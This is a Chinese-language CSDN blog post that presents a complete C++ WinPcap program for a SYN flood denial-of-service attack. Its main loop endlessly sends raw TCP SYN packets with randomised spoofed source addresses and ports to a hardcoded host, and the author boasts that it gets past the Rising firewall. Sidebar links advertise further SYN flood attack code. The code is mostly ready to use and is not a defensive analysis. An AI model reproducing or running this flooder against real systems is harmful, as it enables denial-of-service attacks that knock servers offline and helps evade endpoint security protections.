SYN FLOOD WINCAP

最新推荐文章于 2019-08-02 11:01:00 发布
最新推荐文章于 2019-08-02 11:01:00 发布
阅读量351 收藏
点赞数
分类专栏： C++ 文章标签： wincap
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/osummertime/article/details/52789727
版权

直接绕过瑞星防火墙了

可能是瑞星hook某个函数

wincap直接操作底层，所以瑞星没报

环境什么的和原来的一样

#define WIN32
#define HAVE_REMOTE
#define _XKEYCHECK_H
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_DEPRECATE 1
#define _CRT_NONSTDC_NO_DEPRECATE 1
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <winsock2.h>
#include <conio.h>
#include <iostream>
#include <packet32.h>
#include <ntddndis.h>
#include <time.h>
#include <string>
#include <vector>
#include "remote-ext.h"
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"Packet.lib")
using namespace std;
/*                       IP报文格式
0            8           16                        32
+------------+------------+-------------------------+
| ver + hlen |  服务类型  |         总长度          |
+------------+------------+----+--------------------+
|           标识位        |flag|   分片偏移(13位)   |
+------------+------------+----+--------------------+
|  生存时间  | 高层协议号 |       首部校验和        |
+------------+------------+-------------------------+
|                   源 IP 地址                      |
+---------------------------------------------------+
|                  目的 IP 地址                     |
+---------------------------------------------------+

*/

struct IP_HEADER
{
    byte versionAndHeader;
    byte serviceType;
    byte totalLen[2];
    byte seqNumber[2];
    byte flagAndFragPart[2];
    byte ttl;
    byte hiProtovolType;
    byte headerCheckSum[2];
    byte srcIpAddr[4];
    byte dstIpAddr[4];
};

/*
TCP 报文
0                       16                       32
+------------------------+-------------------------+
|      源端口地址        |      目的端口地址       |
+------------------------+-------------------------+
|                      序列号                      |
+--------------------------------------------------+
|                      确认号                      |
+------+--------+--------+-------------------------+
|HLEN/4| 保留位 |控制位/6|         窗口尺寸        |
+------+--------+--------+-------------------------+
|         校验和         |         应急指针        |
+------------------------+-------------------------+
*/

struct TCP_HEADER
{
    byte srcPort[2];//源端口
    byte dstPort[2];//目标端口
    byte seqNumber[4];
    byte ackNumber[4];
    byte headLen;
    byte contrl;
    byte wndSize[2];
    byte checkSum[2];
    byte uragentPtr[2];
};

struct PSDTCP_HEADER
{
    byte srcIpAddr[4];     //Source IP address; 32 bits
    byte dstIpAddr[4];     //Destination IP address; 32 bits 
    byte padding;          //padding
    byte protocol;         //Protocol; 8 bits
    byte tcpLen[2];        //TCP length; 16 bits
};

struct ETHERNET_HEADER
{
    byte dstMacAddr[6];
    byte srcMacAddr[6];
    byte ethernetType[2];
};

struct DEVS_INFO
{
    char szDevName[512];
    char szDevsDescription[512];
};

int GetAllDevs(DEVS_INFO devsList[])
{
    int nDevsNum = 0;
    pcap_if_t *alldevs;
    char errbuf[PCAP_ERRBUF_SIZE];
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        return -1;
        printf("error in pcap_findalldevs_ex: %s\n", errbuf);
    }
    for (pcap_if_t *d = alldevs; d != NULL; d = d->next)
    {
        strcpy(devsList[nDevsNum].szDevName, d->name);
        strcpy(devsList[nDevsNum].szDevsDescription, d->description);
        nDevsNum++;
    }
    pcap_freealldevs(alldevs);

    return nDevsNum;
}

int GetAdapterMacAddr(char *lpszAdapterName, unsigned char ucMacAddr[])
{
    LPADAPTER lpAdapter = PacketOpenAdapter(lpszAdapterName);
    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
        return -1;
    }

    PPACKET_OID_DATA oidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
    if (NULL == oidData)
    {
        PacketCloseAdapter(lpAdapter);
        return -1;
    }

    oidData->Oid = OID_802_3_CURRENT_ADDRESS;
    oidData->Length = 6;
    memset(oidData->Data, 0, 6);

    BOOLEAN  bStatus = PacketRequest(lpAdapter, FALSE, oidData);
    if (bStatus)
    {
        for (int i = 0; i < 6; ++i)
        {
            ucMacAddr[i] = (oidData->Data)[i];
        }
    }
    else
    {
        return -1;
        free(oidData);
    }
    free(oidData);
    PacketCloseAdapter(lpAdapter);
    return 0;
}

char *FormatMacAddr(unsigned char *ucMacAddr, char *szStr)
{
    szStr[0] = '\0';
    char str[8];
    for (int i = 0; i < 6; ++i)
    {
        sprintf(str, "0x%02x-", ucMacAddr[i]);
        if (str[2] >= 'a' && str[2] <= 'z')
        {
            str[2] = 'A' + str[2] - 'a';
        }
        if (str[3] >= 'a' && str[3] <= 'z')
        {
            str[3] = 'A' + str[3] - 'a';
        }
        strcat(szStr, str);
    }
    szStr[strlen(szStr) - 1] = '\0';

    return szStr;
}

char *FormatIpAddr(unsigned uIpAddr, char szIp[])
{
    IN_ADDR addr;
    addr.S_un.S_addr = uIpAddr;

    strcpy(szIp, inet_ntoa(addr));
    return szIp;
}

int GetIpByHost(const char *lpszHost, std::vector<std::string> &ipList)
{
    WSADATA wsadata;
    WSAStartup(MAKEWORD(2, 2), &wsadata);
    hostent *phost = gethostbyname(lpszHost);
    in_addr addr;
    char *p = phost->h_addr_list[0];
    for (int i = 1; NULL != p; i++)
    {
        memcpy(&addr.S_un.S_addr, p, phost->h_length);
        ipList.push_back(inet_ntoa(addr));
        p = phost->h_addr_list[i];
    }
    return 0;
}

int GetGatewayMacAddr(byte macAddr[])
{
    byte mac[] = { 0x00, 0x00, 0x5e, 0x00, 0x01, 0x48 };
    //00-00-5e-00-01-48
    memcpy(macAddr, mac, 6);
    return 0;
}

void DecodeTcpPacket(const byte *packet)
{
    TCP_HEADER *pTcpHeader = (TCP_HEADER *)packet;
    //printf("%d\n", pTcpHeader->contrl);
    //printf("%d\n", (0x01 << 4) | (0x1 << 1) );

    if (pTcpHeader->contrl == 18)// (0x01 << 4) | (0x1 << 1) )
    {
        printf("收到ack回应");
    }
}

void DecodeIpPacket(const unsigned char *ucPacket)
{
    IP_HEADER *pIpHeader = (IP_HEADER *)ucPacket;
    unsigned srcIp = *(unsigned *)pIpHeader->srcIpAddr;
    unsigned dstIp = *(unsigned *)pIpHeader->dstIpAddr;

    memcpy(&srcIp, pIpHeader->srcIpAddr, 4);
    memcpy(&dstIp, pIpHeader->dstIpAddr, 4);


    char szSrcIp[32], szDstIp[32];
    FormatIpAddr(srcIp, szSrcIp);
    FormatIpAddr(dstIp, szDstIp);
    if (0 != strcmp("10.126.72.37", szDstIp) || 0 != strcmp("112.80.248.73", szSrcIp)) return;

    if (pIpHeader->hiProtovolType != 0x06) return;

    DecodeTcpPacket((byte *)(ucPacket + sizeof(IP_HEADER)));
    //printf("Ip: %s\t%s\n", szSrcIp,szDstIp );

}

void HandlePacketCallBack(unsigned char *param, const struct pcap_pkthdr* packet_header, const unsigned char *ucCaptureContent)
{
    ETHERNET_HEADER *pEthHeader = (ETHERNET_HEADER *)ucCaptureContent;
    if (*((unsigned short *)(pEthHeader->ethernetType)) == htons(0x0800))
    {
        ETHERNET_HEADER *pEthHeader = (ETHERNET_HEADER *)ucCaptureContent;
        unsigned char srcMac[6], dstMac[6];
        memcpy(srcMac, pEthHeader->srcMacAddr, 6);
        memcpy(dstMac, pEthHeader->dstMacAddr, 6);

        char szSrcMac[32], szDstMac[32];
        FormatMacAddr(srcMac, szSrcMac);
        FormatMacAddr(dstMac, szDstMac);
        //printf("MAC: %s\t%s\n", szSrcMac,szDstMac );

        DecodeIpPacket(ucCaptureContent + sizeof(ETHERNET_HEADER));
    }
    return;
}
//校验和
unsigned short CheckSum(unsigned short packet[], int size)
{
    unsigned long cksum = 0;
    while (size > 1)
    {
        cksum += *packet++;
        size -= sizeof(USHORT);
    }
    if (size)
    {
        cksum += *(UCHAR*)packet;
    }
    cksum = (cksum >> 16) + (cksum & 0xFFFF);
    cksum += (cksum >> 16);

    return (USHORT)(~cksum);
}
//包，源地址，目标地址，源mac
int EncodeSynPacket(byte packet[], const char *lpszSrcIpAddr, const char *lpszDstIpAddr, byte srcMacAddr[])
{
    TCP_HEADER tcpHeader;
    memset(&tcpHeader, 0, sizeof tcpHeader);
    *(unsigned short *)tcpHeader.srcPort = htons(9999);//源端口
    *(unsigned short *)tcpHeader.dstPort = htons(8080);//目标端口
    *(unsigned int *)tcpHeader.seqNumber = htonl(0xFFFF);
    *(unsigned int *)tcpHeader.ackNumber = htonl(0x00);
    tcpHeader.headLen = 5 << 4;
    tcpHeader.contrl = 1 << 1;
    *(unsigned short *)tcpHeader.wndSize = htons(0xFFFF);

    IP_HEADER ipHeader;
    memset(&ipHeader, 0, sizeof ipHeader);
    unsigned char versionAndLen = 0x04;
    versionAndLen <<= 4;
    versionAndLen |= sizeof ipHeader / 4; //版本 + 头长度

    ipHeader.versionAndHeader = versionAndLen;
    *(unsigned short *)ipHeader.totalLen = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));

    ipHeader.ttl = 0xFF;
    ipHeader.hiProtovolType = 0x06;

    *(unsigned int *)(ipHeader.srcIpAddr) = inet_addr(lpszSrcIpAddr);
    *(unsigned int *)(ipHeader.dstIpAddr) = inet_addr(lpszDstIpAddr);
    //*(unsigned short *)(ipHeader.headerCheckSum) = CheckSum( (unsigned short *)&ipHeader, sizeof ipHeader );

    byte gatewayMac[] = { 0x00, 0x00, 0x5e, 0x00, 0x01, 0x48 };

    ETHERNET_HEADER ethHeader;
    memset(&ethHeader, 0, sizeof ethHeader);
    memcpy(ethHeader.dstMacAddr, gatewayMac, 6);
    memcpy(ethHeader.srcMacAddr, srcMacAddr, 6);
    *(unsigned short *)ethHeader.ethernetType = htons(0x0800);

    //memset(packet, 0, sizeof packet);
    memcpy(packet, &ethHeader, sizeof ethHeader);
    memcpy(packet + sizeof ethHeader, &ipHeader, sizeof ipHeader);
    memcpy(packet + sizeof ethHeader + sizeof ipHeader, &tcpHeader, sizeof tcpHeader);

    return (sizeof ethHeader + sizeof ipHeader + sizeof tcpHeader);
}

int main()
{
    system("mode con cols=110 lines=20");//dos 分辨率改变

    DEVS_INFO devsList[64];
    int nDevsNum = GetAllDevs(devsList);//得到网卡数量
    if (nDevsNum < 1)
    {
        printf("Get adapter infomation failed!");
        exit(0);
    }
    int selIndex = 1;//选择网卡号
    if (nDevsNum == 1)
    {
        printf("%d  %s\t%s\n", 0 + 1, devsList[0].szDevName, devsList[0].szDevsDescription);
        printf("Only one adapter");
    }
    else{
        for (int i = 0; i < nDevsNum; ++i)
        {
            printf("%d  %s\t%s\n", i + 1, devsList[i].szDevName, devsList[i].szDevsDescription);
        }
        printf("Input your select adapter index: ");

        scanf("%d", &selIndex);
        if (selIndex < 0 || selIndex > nDevsNum + 1)
        {
            printf("Out of range!\nPress any key to exit...");
            getch();
            return 0;
        }
    }


    char szError[PCAP_ERRBUF_SIZE];
    pcap_t *handle = pcap_open_live(devsList[selIndex - 1].szDevName, 65536, 1, 1000, szError);//获得数据包捕获描述字的函数,取得网卡句柄
    if (NULL == handle)
    {
        printf("Open adapter failed!\nPress any key to exit...");
        getch();
        return 0;
    }

    byte localMacAddr[6];//本机mac地址
    memset(localMacAddr, 0, sizeof localMacAddr);//设置内存空间
    if (0 != GetAdapterMacAddr(devsList[selIndex - 1].szDevName, localMacAddr))//保存mac
    {
        printf("Get localhost mac addr failed!\nPress any key to exit...");
        getch();
        return 0;
    }

    std::vector<std::string> ipList;
    GetIpByHost("www.baidu.com", ipList);
    ipList[0] = "192.168.1.108";
    byte packet[1024];
    int size = EncodeSynPacket(packet, "10.126.72.37", ipList[0].c_str(), localMacAddr);

    //pcap_sendpacket(handle, packet, size );

    //return 0;
    IP_HEADER *pIpHeader = (IP_HEADER *)(packet + sizeof(ETHERNET_HEADER));
    TCP_HEADER *pTcpHeader = (TCP_HEADER *)(packet + sizeof(ETHERNET_HEADER) + sizeof(IP_HEADER));

    //*srand(time(0));
    unsigned short srcPort = 0;//= rand() %0xFFFFFFFF;//源端口
    unsigned int srcIpAddr = 0;//源ip
    unsigned int baseIpAddr = ntohl(inet_addr("192.168.0.0"));

    /*
    struct PSDTCP_HEADER
    {
    byte srcIpAddr[4];     //Source IP address; 32 bits
    byte dstIpAddr[4];     //Destination IP address; 32 bits
    byte padding;          //padding
    byte protocol;         //Protocol; 8 bits
    byte tcpLen[2];        //TCP length; 16 bits
    } ;
    */
    byte psdPacket[128];//伪造包
    memset(psdPacket, 0x00, sizeof psdPacket);
    PSDTCP_HEADER *psdHeader = (PSDTCP_HEADER *)psdPacket;

    *(unsigned int *)(psdHeader->dstIpAddr) = inet_addr(ipList[0].c_str());
    *(unsigned int *)(psdHeader->srcIpAddr) = inet_addr("10.126.72.37");
    *(unsigned short *)(psdHeader->tcpLen) = htons(sizeof(TCP_HEADER));
    psdHeader->protocol = 0x06;
    psdHeader->padding = 0x00;

    memcpy(psdPacket + sizeof(PSDTCP_HEADER), pTcpHeader, sizeof(TCP_HEADER));

    int count = 0;
    while (1)// count++ < 200 )
    {
        srcPort = rand() % 0xFFFF;
        unsigned int dstIP = baseIpAddr + rand() % 0xFFFF;
        srcIpAddr = dstIP;//ntohl(inet_addr(dstIP));//baseIpAddr + rand() % 0xFFFF;

        *(unsigned int *)(pIpHeader->srcIpAddr) = htonl(srcIpAddr);//假IP
        *(unsigned short *)(pIpHeader->headerCheckSum) = 0x0000;
        *(unsigned short *)(pIpHeader->headerCheckSum) = CheckSum((unsigned short *)pIpHeader, sizeof(IP_HEADER));

        *(unsigned int *)(psdHeader->srcIpAddr) = htonl(srcIpAddr);

        *(unsigned int *)(pTcpHeader->seqNumber) = htonl(rand() % 0xFFFFFF);

        *(unsigned int *)(((TCP_HEADER *)(psdPacket + sizeof(PSDTCP_HEADER)))->seqNumber) = *(unsigned int *)(pTcpHeader->seqNumber);

        *(unsigned short *)(pTcpHeader->srcPort) = htons(srcPort);
        *(unsigned short *)(((TCP_HEADER *)(psdPacket + sizeof(PSDTCP_HEADER)))->srcPort) = htons(srcPort);

        *(unsigned short *)(pTcpHeader->checkSum) = 0x0000;
        *(unsigned short *)(pTcpHeader->checkSum) = CheckSum((unsigned short *)psdPacket, sizeof(PSDTCP_HEADER) + sizeof(TCP_HEADER));

        //system("pause");
        pcap_sendpacket(handle, packet, size);
    }

    if (NULL == handle)
    {
        printf("\nUnable to open the adapter. %s is not supported by WinPcap\n");
        return 0;
    }

    pcap_loop(handle, -1, HandlePacketCallBack, NULL);
    pcap_close(handle);
    return 0;

    /*TCP_HEADER tcpHeader;
    memset(&tcpHeader, 0, sizeof tcpHeader );
    *(unsigned short *)tcpHeader.srcPort = htons(9999);
    *(unsigned short *)tcpHeader.dstPort = htons(80);
    *(unsigned int *)tcpHeader.seqNumber = htonl(0xFFFF);
    *(unsigned int *)tcpHeader.ackNumber = htonl(0x00);
    tcpHeader.headLen = 5 << 4;
    tcpHeader.contrl = 1 << 1;
    *(unsigned short *)tcpHeader.wndSize = htons(0xFFFF);

    PSDTCP_HEADER psdHeader;
    memset(&psdHeader, 0, sizeof psdHeader);
    *(unsigned int *)psdHeader.dstIpAddr = inet_addr("112.80.248.73");
    *(unsigned int *)psdHeader.srcIpAddr = inet_addr("10.126.72.37");
    psdHeader.protocol = 0x06;
    *(unsigned short *)psdHeader.tcpLen = htons(sizeof(TCP_HEADER));

    char data[] = "Hello world";

    byte psdPacket[1024];
    memset(psdPacket, 0, sizeof psdPacket);
    memcpy( psdPacket, &psdHeader, sizeof psdHeader );
    memcpy( psdPacket + sizeof psdHeader, &tcpHeader, sizeof tcpHeader );
    memcpy( psdPacket + sizeof psdHeader + sizeof tcpHeader, data, sizeof data );

    *(unsigned short *)tcpHeader.checkSum = CheckSum( (unsigned short*) psdPacket, sizeof psdHeader + sizeof tcpHeader );


    IP_HEADER ipHeader;
    memset( &ipHeader, 0, sizeof ipHeader );
    unsigned char versionAndLen = 0x04;
    versionAndLen <<= 4;
    versionAndLen |= sizeof ipHeader / 4; //版本 + 头长度

    ipHeader.versionAndHeader = versionAndLen;
    *(unsigned short *)ipHeader.totalLen = htons( sizeof(IP_HEADER) + sizeof(TCP_HEADER) );

    ipHeader.ttl = 0xFF;
    ipHeader.hiProtovolType = 0x06;

    *(unsigned int *)(ipHeader.srcIpAddr) = inet_addr("10.126.72.37");
    *(unsigned int *)(ipHeader.dstIpAddr) = inet_addr("112.80.248.73");
    *(unsigned short *)(ipHeader.headerCheckSum) = CheckSum( (unsigned short *)&ipHeader, sizeof ipHeader );

    byte srcMac[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
    //byte srcMac[] = {0x90, 0x2B, 0x34, 0x9A, 0xC2, 0xBB};
    byte dstMac[] = {0x00, 0x00, 0x5e, 0x00, 0x01, 0x48};

    ETHERNET_HEADER ethHeader;
    memset(&ethHeader, 0, sizeof ethHeader);
    memcpy(ethHeader.dstMacAddr, dstMac, 6);
    memcpy(ethHeader.srcMacAddr, srcMac, 6);
    *(unsigned short *)ethHeader.ethernetType = htons(0x0800);

    byte packet[1024];
    memset(packet, 0, sizeof packet);

    memcpy(packet, &ethHeader, sizeof ethHeader);
    memcpy(packet + sizeof ethHeader, &ipHeader, sizeof ipHeader);
    memcpy(packet + sizeof ethHeader + sizeof ipHeader, &tcpHeader, sizeof tcpHeader);
    memcpy(packet + sizeof ethHeader + sizeof ipHeader + sizeof tcpHeader, data, sizeof data );

    int size = sizeof ethHeader + sizeof ipHeader + sizeof tcpHeader;// + sizeof data;

    //while ( 1 )
    {
    system("pause");
    //pcap_sendpacket(handle, packet, size );
    }

    if ( NULL == handle )
    {
    printf("\nUnable to open the adapter. %s is not supported by WinPcap\n");
    return 0;
    }
    pcap_loop( handle, -1, HandlePacketCallBack, NULL );
    pcap_close(handle);
    return 0;*/
}
「已注销」
关注
专栏目录
编译CTK 0.1.0 (VS2013/Qt5.3.1/x64)
sjtu_6547的专栏
07-11 6695
1.Cmake设置
使用WinPCAP监听并分析以太网帧
lmj1436140682的博客
03-29 4088
在使用WinPCAP之前，要配置安装WinPCAP，参考博客：在VS2012/VS2010中配置WinPcap开发环境 添加了以下预定义宏 #ifndef _XKEYCHECK_H #define _XKEYCHECK_H #endif添加了以下头文件#include #define HAVE_REMOTE #ifndef _XKEYCHECK_H #define _XKEYCHECK_
基于WinPcap开发的flood攻击测试程序
12-01
基于WinPcap开发的flood攻击测试程序，伪造TCP包向服务器发送大量半连接包，使服务器连接资源耗尽，以达到攻击目的。测试代码适用于初学TCP IP协议，理解TCP三次握手
预编译头文件的使用
Nhsoft的专栏
07-07 4459
预编译头文件的使用  关键字：预编译，/Yu，/Yc，/Yx本文介绍VC6的预编译功能的使用，由于预编译详细使用比较的复杂，这里只介绍几个最重要的预编译指令: /Yu, /Yc,/Yx,/Fp。其它的详细资料可以参考:      MSDN->Visual Studio D6.0Document -> Visual C++6.0 Document         ->VC++ Program
C++错误 C1189
梁彬的博客
06-12 1万+
错误 C1189 #error: The C++ Standard Library forbids macroizing keywords. Enable warning C4005 to find the forbidden macro. 解决方案：在项目->属性->配置属性->C/C++->预处理器->预处理器定义中加入“_XKEYCHECK_H”
SYN Flood攻击源程序
04-08
Microsoft Visual C++ 6.0环境下的syn flood源程序
SYN flood攻击
11-05
在提供的压缩包中，`SYN.cpp`可能是实现SYN Flood攻击检测或防御的C++源代码文件，它可能会包含使用WinPcap库来捕获和分析网络封包的代码。`packet.h`可能是包含封包处理相关函数和结构体定义的头文件，提供了与封包...
Dos(SYN Flood).rar
10-28
C语言实现(基于WinPcap4.3.1)的SYN Flood洪水攻击VS工程文件夹。 攻击效果:靶机上建立许多SYN-RECEIVED连接，导致靶机资源耗尽而拒绝服务。 调试编译环境: VS2013Ultimate
win_pcap模拟syn_flood攻击
ChenYitian
03-12 3762
syn_flood攻击得原理很简单，通过向目的主机发送大量建立TCP连接得请求，但源IP地址是乱填的，所以本机不会收到TCP应答，而其它主机收到TCP应答后由于之前并没有请求过TCP连接，所以会丢弃这个应答，导致被攻击的主机空等一段时间，资源被白白浪费。 当然这也是理论上的结果，实际上在现在，这种攻击肯定是行不通的。 #include #include #include #include
错误：fatal error C1189: #error : The C++ Standard Library forbids macroizing keywords. Enable warning
_Witch__的专栏
01-22 1万+
属性--配置属性-c/c++-预处理器 添加 _XKEYCHECK_H
h.264编码器和简易播放器_可导出bmp图像
12-24
这是我们多媒体的作业。我自己做的，x264encode工程生成的exe可以将YUV格式数据编码为avi标准格式。x264player可以播放用h.264编码的avi文件。采用dshow技术进行视频帧渲染，效率挺高的，支持3840x2160的超大分辨率。里面有可执行文件。如果要变异源代码，需要安装directX的SDK。AVI文件操作基于VFW库。还可以将AVI导出bmp格式的图像。界面使用MFC实现。
在VC2015下编译DOOM3时发现出错fatal error C1189: #error
大坡3D软件开发
11-17 2982
错误：fatal error C1189: #error :  The C++ Standard Library forbids macroizing keywords. Enable warning C4005 to find the forbidden macro.  解决方法：add "_XKEYCHECK_H" in Preprocessor Definitions属性--配置属性-c/c
各种安装的记录
万德1010的博客
07-11 471
（一） ubuntu16.04安装dlib 官网:http://dlib.net/sudo apt-get install build-essential cmakesudo apt-get install libgtk-3-devsudo apt-get install libboost-all-devsudo pip install dlib
windows下获取mac地址的两种方法
繁华落尽梦一场
04-07 3364
在Windows下可用用微软的API获取网卡的MAC地址，也可以用WinPcap来获取。 方法一：调用WindowsAPI获取。 #include #include #pragma comment(lib, "IPHLPAPI.lib") #include #include bool GetMacByGetAdaptersAddresses(std::string&
WinPcap应用程： error: C3861: “pcap_open”: 找不到标识符
weixin_30478619的博客
08-02 455
在测试WinPcap手册给的代码： #define _XKEYCHECK_H #include "pcap.h" #include <winsock2.h> #include <string.h> #include <iostream> #pragma comment(lib, "wpcap.lib") #pragma comme...
基于winpcap和syn的dos攻击，亲测
繁华落尽梦一场
04-21 3915
网上这样的帖子很多，但有几个问题一直没解决。 1、在计算TCP报头的校验和时应该还有伪报头，很多人都没有。 2、在封装以太网数据包时需要用到目的地址的mac地址，由于很多人是在虚拟机上测，目的mac也就知道，但事实上，对于真正的远端主机来说，我们只能获取它的IP地址，而mac地址是无法获取的。而事实上，这儿的目标mac应该写的是网关mac地址。 下面看我一步一步写syn攻击。 一、首先要清
C++程序中出现 fatal error C1189: #error : eh.h is only for C++!
热门推荐
IEEEITU的专栏
09-04 1万+
fatal error C1189: #error : "eh.h is only for C++!" #ifndef __cplusplus #error "eh.h is only for C++!" #endif The cause : inc
VC++ 6.0实现SYN Flood攻击源代码解析
"SYN Flood攻击源程序是使用Microsoft Visual C++ 6.0编写的，用于模拟SYN Flood攻击的代码。该攻击是网络层的一种拒绝服务（DoS）攻击方式，主要通过发送大量的SYN包到目标主机，使其资源耗尽，无法正常处理合法...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值